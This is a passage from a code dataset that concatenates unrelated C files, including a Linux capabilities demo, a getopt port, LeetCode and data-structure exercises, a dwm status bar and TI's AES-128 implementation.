printf("MALLOC Error \n");
return 1;
}
gets(pArr[i]);
}
printf("%d \n", superSTR(pArr, n));
for(i = 0; i < n; i++)
{
free(pArr[i]);
}
free(pArr);
return 0;
}
void calc(int n, int i, int count, int *a, int *b)
{
int j = 0;
int * saveArr = malloc(n * sizeof(int));
for(j = 0; j < n; j++)
{
saveArr[j] = a[j];
}
saveArr[i] = 1;
j = 0;
while(1)
{
while(j != n && saveArr[j] == 1)
{
j++;
}
if(j == n)
{
break;
}
calc(n, j, (count+b[i*n + j]), saveArr, b);
j++;
}
if(count > maxDelete)
{
maxDelete = count;
}
free(saveArr);
}
int superSTR(char **s, int n)
{
int i = 0;
int k = 0;
int j = 0;
int z = 0;
int y = 0;
int length = 0;
int * countArr = calloc(n, sizeof(int));
int * numArr = malloc((n*n) * (sizeof(int)));
if(numArr == NULL ||countArr == NULL)
{
printf("MALLOC Error \n");
return 0;
}
for(i = 0; i < (n*n) ; i++)
{
numArr[i] = 0;
}
for(i = 0; i < n; i++)
{
length += strlen(s[i]);
for(j = 0; j < n; j++)
{
k = strlen(s[i]) - strlen(s[j]);
if(k < 0)
{
k = 0;
}
y = 0;
for(z = k;z < strlen(s[i]);z++)
{
if((s[i][z] != s[j][y]))
{
k = k + 1;
z = k - 1;;
y = -1;
}
y++;
}
if(i != j)
{
numArr[i*n + j] = y;
}
}
}
for(i = 0; i < n; i++)
{
calc(n, i, 0, countArr, numArr);
}
free(numArr);
free(countArr);
return length - maxDelete;
} |
the_stack_data/248582137.c | int main() {
int a = 2;
int b = 5 * 6 - 8;
return a + b / 2;
} |
the_stack_data/6388111.c | #include <sys/types.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <signal.h>
#include <string.h>
#include <linux/capability.h>
/**
* CAP_KILL is granted and kill task with given pid
*/
void show_capset()
{
FILE *filp;
char line[256];
filp = fopen("/proc/self/status", "r");
if (filp == NULL) {
perror("fopen");
return;
}
while (fgets(line, sizeof(line), filp)) {
if (strncmp(line, "Cap", 3) == 0)
printf("%s", line);
}
fclose(filp);
}
void add_cap(cap_user_data_t data, __u32 cap)
{
data[CAP_TO_INDEX(cap)].permitted |= CAP_TO_MASK(cap);
data[CAP_TO_INDEX(cap)].inheritable |= CAP_TO_MASK(cap);
data[CAP_TO_INDEX(cap)].effective |= CAP_TO_MASK(cap);
}
int main(int argc, const char *argv[])
{
cap_user_header_t head;
cap_user_data_t data;
pid_t pid;
pid = atoi(argv[1]);
head = calloc(1, sizeof(*head));
head->version = _LINUX_CAPABILITY_VERSION;
head->pid = 0;
// set CAP_KILL and CAPSETUID
data = calloc(_LINUX_CAPABILITY_U32S, sizeof(*data));
add_cap(data, CAP_KILL);
add_cap(data, CAP_SETUID);
if (capset(head, data) < 0) {
perror("capset");
return 1;
}
// for capabilities not to be cleared when uid is changed
if (prctl(PR_SET_KEEPCAPS, 1) != 0) {
perror("prctl");
return 1;
}
// uid to hyeoncheol
if (setuid(1000) != 0) {
perror("setuid");
return 1;
}
// set CAP_KILL to effective capability set
memset(data, 0, _LINUX_CAPABILITY_U32S * sizeof(*data));
add_cap(data, CAP_KILL);
if (capset(head, data) < 0) {
perror("capset");
return 1;
}
kill(-pid, SIGKILL);
return 0;
}
|
the_stack_data/87637361.c | #include <stdio.h>
//
// Test switch 4
//
int main(int argc, char *argv[]) {
for (int i = 0; i < 16; i++) {
switch(i) {
case 1:
printf("The number is 1\n");
break;
case 2:
printf("The number is 2\n");
break;
case 3:
printf("The number is 3\n");
break;
case 4:
printf("The number is 4\n");
break;
case 5:
printf("The number is 5\n");
break;
case 6:
printf("The number is 6\n");
break;
case 7:
printf("The number is 7\n");
break;
case 8:
printf("The number is 8\n");
break;
case 9:
printf("The number is 9\n");
break;
case 10:
printf("The number is 10\n");
break;
default:
printf("Out of range\n");
}
}
}
|
the_stack_data/40761444.c | /*
* getopt - POSIX like getopt for Windows console Application
*
* win-c - Windows Console Library
* Copyright (c) 2015 Koji Takami
* Released under the MIT license
* https://github.com/takamin/win-c/blob/master/LICENSE
*/
#include <stdio.h>
#include <string.h>
#include "getopt.h"
char* optarg = 0;
int optind = 1;
int opterr = 1;
int optopt = 0;
int postpone_count = 0;
int nextchar = 0;
static void postpone(int argc, char* const argv[], int index) {
char** nc_argv = (char**)argv;
char* p = nc_argv[index];
int j = index;
for(; j < argc - 1; j++) {
nc_argv[j] = nc_argv[j + 1];
}
nc_argv[argc - 1] = p;
}
static int postpone_noopt(int argc, char* const argv[], int index) {
int i = index;
for(; i < argc; i++) {
if(*(argv[i]) == '-') {
postpone(argc, argv, index);
return 1;
}
}
return 0;
}
static int _getopt_(int argc, char* const argv[],
const char* optstring,
const struct option* longopts, int* longindex)
{
while(1) {
int c;
const char* optptr = 0;
if(optind >= argc - postpone_count) {
c = 0;
optarg = 0;
break;
}
c = *(argv[optind] + nextchar);
if(c == '\0') {
nextchar = 0;
++optind;
continue;
}
if(nextchar == 0) {
if(optstring[0] != '+' && optstring[0] != '-') {
while(c != '-') {
/* postpone non-opt parameter */
if(!postpone_noopt(argc, argv, optind)) {
break; /* all args are non-opt param */
}
++postpone_count;
c = *argv[optind];
}
}
if(c != '-') {
if(optstring[0] == '-') {
optarg = argv[optind];
nextchar = 0;
++optind;
return 1;
}
break;
} else {
if(strcmp(argv[optind], "--") == 0) {
optind++;
break;
}
++nextchar;
if(longopts != 0 && *(argv[optind] + 1) == '-') {
char const* spec_long = argv[optind] + 2;
char const* pos_eq = strchr(spec_long, '=');
int spec_len = (pos_eq == NULL) ?
(int)strlen(spec_long) : (int)(pos_eq - spec_long);
int index_search = 0;
int index_found = -1;
const struct option* optdef = 0;
while(longopts->name != 0) {
if(strncmp(spec_long, longopts->name, spec_len) == 0) {
if(optdef != 0) {
if(opterr) {
fprintf(stderr, "ambiguous option: %s\n", spec_long);
}
return '?';
}
optdef = longopts;
index_found = index_search;
}
longopts++;
index_search++;
}
if(optdef == 0) {
if(opterr) {
fprintf(stderr, "no such a option: %s\n", spec_long);
}
return '?';
}
switch(optdef->has_arg) {
case no_argument:
optarg = 0;
if(pos_eq != 0) {
if(opterr) {
fprintf(stderr, "no argument for %s\n", optdef->name);
}
return '?';
}
break;
case required_argument:
if(pos_eq == NULL) {
++optind;
optarg = argv[optind];
} else {
optarg = (char*)pos_eq + 1;
}
break;
}
++optind;
nextchar = 0;
if(longindex != 0) {
*longindex = index_found;
}
if(optdef->flag != 0) {
*optdef->flag = optdef->val;
return 0;
}
return optdef->val;
}
continue;
}
}
optptr = strchr(optstring, c);
if(optptr == NULL) {
optopt = c;
if(opterr) {
fprintf(stderr,
"%s: invalid option -- %c\n",
argv[0], c);
}
++nextchar;
return '?';
}
if(*(optptr+1) != ':') {
nextchar++;
if(*(argv[optind] + nextchar) == '\0') {
++optind;
nextchar = 0;
}
optarg = 0;
} else {
nextchar++;
if(*(argv[optind] + nextchar) != '\0') {
optarg = argv[optind] + nextchar;
} else {
++optind;
if(optind < argc - postpone_count) {
optarg = argv[optind];
} else {
optopt = c;
if(opterr) {
fprintf(stderr,
"%s: option requires an argument -- %c\n",
argv[0], c);
}
if(optstring[0] == ':' ||
((optstring[0] == '-' || optstring[0] == '+') &&
optstring[1] == ':'))
{
c = ':';
} else {
c = '?';
}
}
}
++optind;
nextchar = 0;
}
return c;
}
/* end of option analysis */
/* fix the order of non-opt params to original */
while((argc - optind - postpone_count) > 0) {
postpone(argc, argv, optind);
++postpone_count;
}
nextchar = 0;
postpone_count = 0;
return -1;
}
int getopt(int argc, char* const argv[],
const char* optstring)
{
return _getopt_(argc, argv, optstring, 0, 0);
}
int getopt_long(int argc, char* const argv[],
const char* optstring,
const struct option* longopts, int* longindex)
{
return _getopt_(argc, argv, optstring, longopts, longindex);
}
/********************************************************
int getopt_long_only(int argc, char* const argv[],
const char* optstring,
const struct option* longopts, int* longindex)
{
return -1;
}
********************************************************/
|
the_stack_data/200144262.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void print_cwd(){
char buf[4096];
getcwd(buf, 4096);
printf("%s\n", buf);
}
int main(){
print_cwd();
// Firstly, we chdir by relative path.
chdir("lib");
print_cwd();
// Then, by absolute path.
chdir("/bin");
print_cwd();
// Last, test rootfs.
chdir("/");
print_cwd();
return 0;
}
|
the_stack_data/64200767.c | //
// Created by Vashon on 2020/6/16.
//
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
// 有效的括号，LeetCode第20题
void homework_012_020(void) {
char *str = "((()))";
int isValid_(char *s);
if (isValid_(str))
printf("success");
else
printf("failure");
}
int isValid(char *s) {
// 用栈的思想，后进先出，完美解决这个匹配问题
if (!s || *s == '\0') // 空字符串，匹配
return 1;
char *str = s;
int len = strlen(s), top = -1;
if (len & 1) // 括号应该是成对出现的，单个肯定是不匹配的
return 0;
char stack[len];
for (int i = 0; i < len; ++i, str++) {
if (*str == '(' || *str == '{' || *str == '[') {
stack[++top] = *str; // 左括号，入栈
}
if (top == -1) // 第一个元素不是左括号，不匹配
return 0;
if (*str == ')') {
if (stack[top] == '(')
stack[top--] = '\0';// 出栈
else
return 0;
}
if (*str == '}') {
if (stack[top] == '{')
stack[top--] = '\0';
else
return 0;
}
if (*str == ']') {
if (stack[top] == '[')
stack[top--] = '\0';
else
return 0;
}
}
return top == -1 ? 1 : 0;
}
// 本来是使用这种方法的，但是LeetCode上报错，说内存溢出了，但是感觉没有写错，只是动态扩容了
int isValid_(char *s) {
if (!s || *s == '\0')
return 1;
int index = -1, length = 10; // 起始的分配空间大小
float scale = 1.5; // 扩容的比例因子
char *str = s, *brackets = malloc(sizeof(char) * length);
while (*str != '\0') {
if (index == length - 1) { // 分配的空间不够，重新分配，每次扩容为原来的1.5倍
length *= scale;
brackets = realloc(brackets, sizeof(char) * length);
}
if (*str == '(' || *str == '{' || *str == '[') {
brackets[++index] = *str;
}
if (*str == ')') {
if (brackets[index] == '(')
brackets[index--] = '\0';
else
return 0;
}
if (*str == '}') {
if (brackets[index] == '{')
brackets[index--] = '\0';
else
return 0;
}
if (*str == ']') {
if (brackets[index] == '[')
brackets[index--] = '\0';
else
return 0;
}
str++;
}
free(brackets);
return index == -1 ? 1 : 0;
} |
the_stack_data/132953604.c | /*
* Copy me if you can.
* by 20h
*/
#define _BSD_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <strings.h>
#include <sys/time.h>
#include <time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <X11/Xlib.h>
char *tzaustralia = "Australia/Sydney";
char *tzutc = "UTC";
char *tzberlin = "Europe/Berlin";
static Display *dpy;
char *
smprintf(char *fmt, ...)
{
va_list fmtargs;
char *ret;
int len;
va_start(fmtargs, fmt);
len = vsnprintf(NULL, 0, fmt, fmtargs);
va_end(fmtargs);
ret = malloc(++len);
if (ret == NULL) {
perror("malloc");
exit(1);
}
va_start(fmtargs, fmt);
vsnprintf(ret, len, fmt, fmtargs);
va_end(fmtargs);
return ret;
}
void
settz(char *tzname)
{
setenv("TZ", tzname, 1);
}
char *
mktimes(char *fmt, char *tzname)
{
char buf[129];
time_t tim;
struct tm *timtm;
settz(tzname);
tim = time(NULL);
timtm = localtime(&tim);
if (timtm == NULL)
return smprintf("");
if (!strftime(buf, sizeof(buf)-1, fmt, timtm)) {
fprintf(stderr, "strftime == 0\n");
return smprintf("");
}
return smprintf("%s", buf);
}
void
setstatus(char *str)
{
XStoreName(dpy, DefaultRootWindow(dpy), str);
XSync(dpy, False);
}
char *
loadavg(void)
{
double avgs[3];
if (getloadavg(avgs, 3) < 0)
return smprintf("");
return smprintf("%.2f %.2f %.2f", avgs[0], avgs[1], avgs[2]);
}
char *
readfile(char *base, char *file)
{
char *path, line[513];
FILE *fd;
memset(line, 0, sizeof(line));
path = smprintf("%s/%s", base, file);
fd = fopen(path, "r");
free(path);
if (fd == NULL)
return NULL;
if (fgets(line, sizeof(line)-1, fd) == NULL)
return NULL;
fclose(fd);
return smprintf("%s", line);
}
char *
getbattery(char *base)
{
char *co, status;
int descap, remcap;
descap = -1;
remcap = -1;
co = readfile(base, "present");
if (co == NULL)
return smprintf("");
if (co[0] != '1') {
free(co);
return smprintf("not present");
}
free(co);
co = readfile(base, "charge_full");
if (co == NULL) {
co = readfile(base, "energy_full");
if (co == NULL)
return smprintf("");
}
sscanf(co, "%d", &descap);
free(co);
co = readfile(base, "charge_now");
if (co == NULL) {
co = readfile(base, "energy_now");
if (co == NULL)
return smprintf("");
}
sscanf(co, "%d", &remcap);
free(co);
co = readfile(base, "status");
if (!strncmp(co, "Discharging", 11)) {
status = '-';
} else if(!strncmp(co, "Charging", 8)) {
status = '+';
} else {
status = '?';
}
if (remcap < 0 || descap < 0)
return smprintf("invalid");
return smprintf("%.0f%%%c", ((float)remcap / (float)descap) * 100, status);
}
char *
gettemperature(char *base, char *sensor)
{
char *co;
co = readfile(base, sensor);
if (co == NULL)
return smprintf("");
return smprintf("%02.0f°C", atof(co) / 1000);
}
/* network speed*/
int
parse_netdev(unsigned long long int *receivedabs, unsigned long long int *sentabs)
{
char buf[255];
char *datastart;
static int bufsize;
int rval;
FILE *devfd;
unsigned long long int receivedacc, sentacc;
bufsize = 255;
devfd = fopen("/proc/net/dev", "r");
rval = 1;
// Ignore the first two lines of the file
fgets(buf, bufsize, devfd);
fgets(buf, bufsize, devfd);
while (fgets(buf, bufsize, devfd)) {
if ((datastart = strstr(buf, "lo:")) == NULL) {
datastart = strstr(buf, ":");
// With thanks to the conky project at http://conky.sourceforge.net/
sscanf(datastart + 1, "%llu %*d %*d %*d %*d %*d %*d %*d %llu",\
&receivedacc, &sentacc);
*receivedabs += receivedacc;
*sentabs += sentacc;
rval = 0;
}
}
fclose(devfd);
return rval;
}
void
calculate_speed(char *speedstr, unsigned long long int newval, unsigned long long int oldval)
{
double speed;
speed = (newval - oldval) / 1024.0;
if (speed > 1024.0) {
speed /= 1024.0;
sprintf(speedstr, "%.3f MB/s", speed);
} else {
sprintf(speedstr, "%.2f KB/s", speed);
}
}
char *
get_netusage(unsigned long long int *rec, unsigned long long int *sent)
{
unsigned long long int newrec, newsent;
newrec = newsent = 0;
char downspeedstr[15], upspeedstr[15];
static char retstr[42];
int retval;
retval = parse_netdev(&newrec, &newsent);
if (retval) {
fprintf(stdout, "Error when parsing /proc/net/dev file.\n");
exit(1);
}
calculate_speed(downspeedstr, newrec, *rec);
calculate_speed(upspeedstr, newsent, *sent);
sprintf(retstr, """%s """"%s", downspeedstr, upspeedstr);
*rec = newrec;
*sent = newsent;
return retstr;
}
int
main(void)
{
char *status;
char *avgs;
char *bat;
char *bat1;
char *tmar;
char *tmutc;
char *tmbln;
char *t0;
char *tsymbol;
char *batsymbol;
char *netstats;
static unsigned long long int rec, sent;
int batrange;
if (!(dpy = XOpenDisplay(NULL))) {
fprintf(stderr, "dwmstatus: cannot open display.\n");
return 1;
}
parse_netdev(&rec, &sent);
for (;;sleep(1)) {
avgs = loadavg();
bat = getbattery("/sys/class/power_supply/BAT0");
bat1 = getbattery("/sys/class/power_supply/BAT1");
tmar = mktimes("%H:%M", tzaustralia);
tmutc = mktimes("%H:%M", tzutc);
tmbln = mktimes("KW %W %a %d %b %H:%M %Z %Y", tzberlin);
t0 = gettemperature("/sys/devices/virtual/hwmon/hwmon5", "temp1_input");
tsymbol = "";
netstats = get_netusage(&rec, &sent);
batrange = atoi(bat);
/* choose which battery symbol to use */
if (batrange > 80) {
batsymbol = "";
} else if ((60 < batrange) && (batrange < 81)){
batsymbol = "";
} else if ((40 < batrange) && (batrange < 61)){
batsymbol = "";
} else if ((20 < batrange) && (batrange < 41)){
batsymbol = "";
} else {
batsymbol = "";
}
status = smprintf("%s %s%s %s%s%s %s",
netstats, tsymbol, t0, batsymbol, bat, bat1, tmar
);
setstatus(status);
free(t0);
free(avgs);
free(bat);
free(bat1);
free(tmar);
free(tmutc);
free(tmbln);
free(status);
}
XCloseDisplay(dpy);
return 0;
}
|
the_stack_data/220455967.c | /*
* data_convert.c
*
* Created on: 2022年3月13日
* Author: YiBuBuHuiTou
*/
|
the_stack_data/74988.c | #include <stdio.h>
#include <ctype.h>
#include <string.h>
int main () {
int n;
char str [100];
while (~scanf ("%d\n", &n)) {
int i, j;
int lowercase = 0, capital = 0, space = 0, sign = 0;
for (i = 0; i < n; i++) {
gets (str);
for (j = 0; j < strlen(str); j++) {
if (isspace (str[j])) space ++;
else if (islower (str[j])) lowercase ++;
else if (isupper (str[j])) capital ++;
else if (ispunct (str[j])) sign ++;
}
}
printf ("lowercase=%d capital=%d space=%d sign=%d\n",
lowercase, capital, space, sign);
}
return 0;
} |
the_stack_data/198579605.c | /*
--------------------------------------------- Write a C program to implement the queue using array -----------------------------------------
*/
#include<stdio.h>
#include<stdlib.h>
struct queue
{
int size;
int f;
int r;
int *arr;
};
int isFull(struct queue*q)
{
if(q->r == q->size-1)
{
return 1;
}
else
{
return 0;
}
}
int isEmpty(struct queue*q)
{
if(q->r == q->f)
{
return 1;
}
else
{
return 0;
}
}
void enqueue(struct queue*q,int val)
{
if(isFull(q))
{
printf("Queue Overflow\n");
}
else
{
q->r = q->r + 1;
q->arr[q->r] = val;
}
}
void dequeue(struct queue*q)
{
int a = -1;
if(isEmpty(q))
{
printf("Queue Underflow\n");
}
else
{
q->f = q->f + 1;
int a = q->arr[q->f];
if(a== -1)
{
printf("No element to remove\n");
}
else
{
printf("element %d is removed from queue\n",a);
}
}
}
void queueTraversal(struct queue*q)
{
for (int i = q->f + 1; i < q->r; i++)
{
printf("element %d is %d\n",i+1,q->arr[i]);
}
}
int main()
{
struct queue q;
q.size = 100;
q.f = q.r = -1;
q.arr = (int*)malloc(q.size* sizeof(int));
enqueue(&q,34);
enqueue(&q,45);
enqueue(&q,78);
enqueue(&q,98);
enqueue(&q,22);
enqueue(&q,56);
enqueue(&q,34);
enqueue(&q,77);
enqueue(&q,78);
enqueue(&q,98);
enqueue(&q,22);
enqueue(&q,33);
enqueue(&q,34);
enqueue(&q,45);
enqueue(&q,11);
enqueue(&q,29);
enqueue(&q,05);
enqueue(&q,99);
printf("the elements after enqueue is: \n");
queueTraversal(&q);
dequeue(&q);
dequeue(&q);
dequeue(&q);
dequeue(&q);
printf("the elements after dequeue is: \n");
queueTraversal(&q);
return 0;
}
/*--------------------------------------------------------------------------------------------------------------------------------------------------------
----------------------------- OUTPUT OF THE ABOVE CODE ------------------------------------
PS D:\DSA> gcc queueusingArray.c
PS D:\DSA> .\a.exe
the elements after enqueue is:
element 1 is 34
element 2 is 45
element 3 is 78
element 4 is 98
element 5 is 22
element 6 is 56
element 7 is 34
element 8 is 77
element 9 is 78
element 10 is 98
element 11 is 22
element 12 is 33
element 13 is 34
element 14 is 45
element 15 is 11
element 16 is 29
element 17 is 5
element 34 is removed from queue
element 45 is removed from queue
element 78 is removed from queue
element 98 is removed from queue
the elements after dequeue is:
element 5 is 22
element 6 is 56
element 7 is 34
element 8 is 77
element 9 is 78
element 10 is 98
element 11 is 22
element 12 is 33
element 13 is 34
element 14 is 45
element 15 is 11
element 16 is 29
element 17 is 5
--------------------------------------------------------------------------------------------------------------------------------*/
|
the_stack_data/59512565.c | /* --COPYRIGHT--,BSD
* Copyright (c) 2011, Texas Instruments Incorporated
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* * Neither the name of Texas Instruments Incorporated nor the names of
* its contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
* --/COPYRIGHT--*/
/*
* TI_aes_128.c
*
* Created on: Nov 3, 2011
* Author: Eric Peeters
*
* Description: Implementation of the AES-128 as defined by the FIPS PUB 197:
* the official AES standard
*/
// foreward sbox
const unsigned char sbox[256] = {
//0 1 2 3 4 5 6 7 8 9 A B C D E F
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, //0
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, //1
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, //2
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, //3
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, //4
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, //5
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, //6
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, //7
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, //8
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, //9
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, //A
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, //B
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, //C
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, //D
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, //E
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; //F
// inverse sbox
const unsigned char rsbox[256] =
{ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb
, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb
, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e
, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25
, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92
, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84
, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06
, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b
, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73
, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e
, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b
, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4
, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f
, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef
, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61
, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
// round constant
const unsigned char Rcon[10] = {
0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36};
// multiply by 2 in the galois field
unsigned char galois_mul2(unsigned char value)
{
if (value>>7)
{
return ((value << 1)^0x1b);
} else
return (value << 1);
}
// AES encryption and decryption function
// The code was optimized for memory (flash and ram)
// Combining both encryption and decryption resulted in a slower implementation
// but much smaller than the 2 functions separated
// This function only implements AES-128 encryption and decryption (AES-192 and
// AES-256 are not supported by this code)
void aes_enc_dec(unsigned char *state, unsigned char *key, unsigned char dir)
{
unsigned char buf1, buf2, buf3, buf4, round, i;
// In case of decryption
if (dir) {
// compute the last key of encryption before starting the decryption
for (round = 0 ; round < 10; round++) {
//key schedule
key[0] = sbox[key[13]]^key[0]^Rcon[round];
key[1] = sbox[key[14]]^key[1];
key[2] = sbox[key[15]]^key[2];
key[3] = sbox[key[12]]^key[3];
for (i=4; i<16; i++) {
key[i] = key[i] ^ key[i-4];
}
}
//first Addroundkey
for (i = 0; i <16; i++){
state[i]=state[i] ^ key[i];
}
}
// main loop
for (round = 0; round < 10; round++){
if (dir){
//Inverse key schedule
for (i=15; i>3; --i) {
key[i] = key[i] ^ key[i-4];
}
key[0] = sbox[key[13]]^key[0]^Rcon[9-round];
key[1] = sbox[key[14]]^key[1];
key[2] = sbox[key[15]]^key[2];
key[3] = sbox[key[12]]^key[3];
} else {
for (i = 0; i <16; i++){
// with shiftrow i+5 mod 16
state[i]=sbox[state[i] ^ key[i]];
}
//shift rows
buf1 = state[1];
state[1] = state[5];
state[5] = state[9];
state[9] = state[13];
state[13] = buf1;
buf1 = state[2];
buf2 = state[6];
state[2] = state[10];
state[6] = state[14];
state[10] = buf1;
state[14] = buf2;
buf1 = state[15];
state[15] = state[11];
state[11] = state[7];
state[7] = state[3];
state[3] = buf1;
}
//mixcol - inv mix
if ((round > 0 && dir) || (round < 9 && !dir)) {
for (i=0; i <4; i++){
buf4 = (i << 2);
if (dir){
// precompute for decryption
buf1 = galois_mul2(galois_mul2(state[buf4]^state[buf4+2]));
buf2 = galois_mul2(galois_mul2(state[buf4+1]^state[buf4+3]));
state[buf4] ^= buf1; state[buf4+1] ^= buf2; state[buf4+2] ^= buf1; state[buf4+3] ^= buf2;
}
// in all cases
buf1 = state[buf4] ^ state[buf4+1] ^ state[buf4+2] ^ state[buf4+3];
buf2 = state[buf4];
buf3 = state[buf4]^state[buf4+1]; buf3=galois_mul2(buf3); state[buf4] = state[buf4] ^ buf3 ^ buf1;
buf3 = state[buf4+1]^state[buf4+2]; buf3=galois_mul2(buf3); state[buf4+1] = state[buf4+1] ^ buf3 ^ buf1;
buf3 = state[buf4+2]^state[buf4+3]; buf3=galois_mul2(buf3); state[buf4+2] = state[buf4+2] ^ buf3 ^ buf1;
